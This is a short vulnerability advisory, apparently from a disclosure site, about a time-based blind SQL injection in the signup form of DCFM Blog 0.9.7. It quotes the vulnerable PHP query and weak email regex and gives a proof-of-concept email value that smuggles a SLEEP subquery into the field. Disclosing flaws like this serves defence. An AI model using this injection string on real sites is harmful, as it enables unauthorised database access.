DCFM Blog 0.9.7 Blind SQL Injection

2016.11.18
Credit: N_A
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

DCFM Blog Version 0.9.7 Blind SQL Injection Vulnerability ( time based-attack ) ================================================================================ Discovered by N_A , N_A[at]tutanota.com ======================================== Description ============ Open-source blog project. Free blog system for any website. Uses MySQL and PHP 5. Very easily customizable and incredibly flexible. https://sourceforge.net/projects/dcfm-blog/ Vulnerability ============== A blind SQL Injection is possible within the signup.php file of DCFM Blog version 0.9.7. $desuser = $_POST['desuser']; $despass = $_POST['despass']; $email = $_POST['email']; <---- The vulnerable variable $firstname = $_POST['firstname']; $lastname = $_POST['lastname']; $submitted = $_POST['submitted']; $despassconfirm = $_POST['despassconfirm']; The $email variable is not properly checked as the regex does not stop additional characters from being added once the variable matches a valid email format: if(!ereg("^.+@.+\\..+$",$email)) { $evil = 1; $error="<p> The highlighted fields are not filled out correctly. </p>"; the '.+' part of the regular expression will match "one or more of any character" . It is then possible to attached a crafted SQL Injection string to the end of the $email variable. The crafted string is fed directly into the MySql database: $result = mysql_query("SELECT * FROM accounts WHERE Email='$_POST[email]'"); while($row = mysql_fetch_array($result)) { if ($email == $row['Email']) Proof Of Concept Exploit String ================================ Fill out the whole form and input the email variable as follows: jimmy@site.com' AND (SELECT * FROM (SELECT(SLEEP(5)))MXKf) AND 'dBWQ'='dBWQ Email ===== N_A[at]tutanota.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top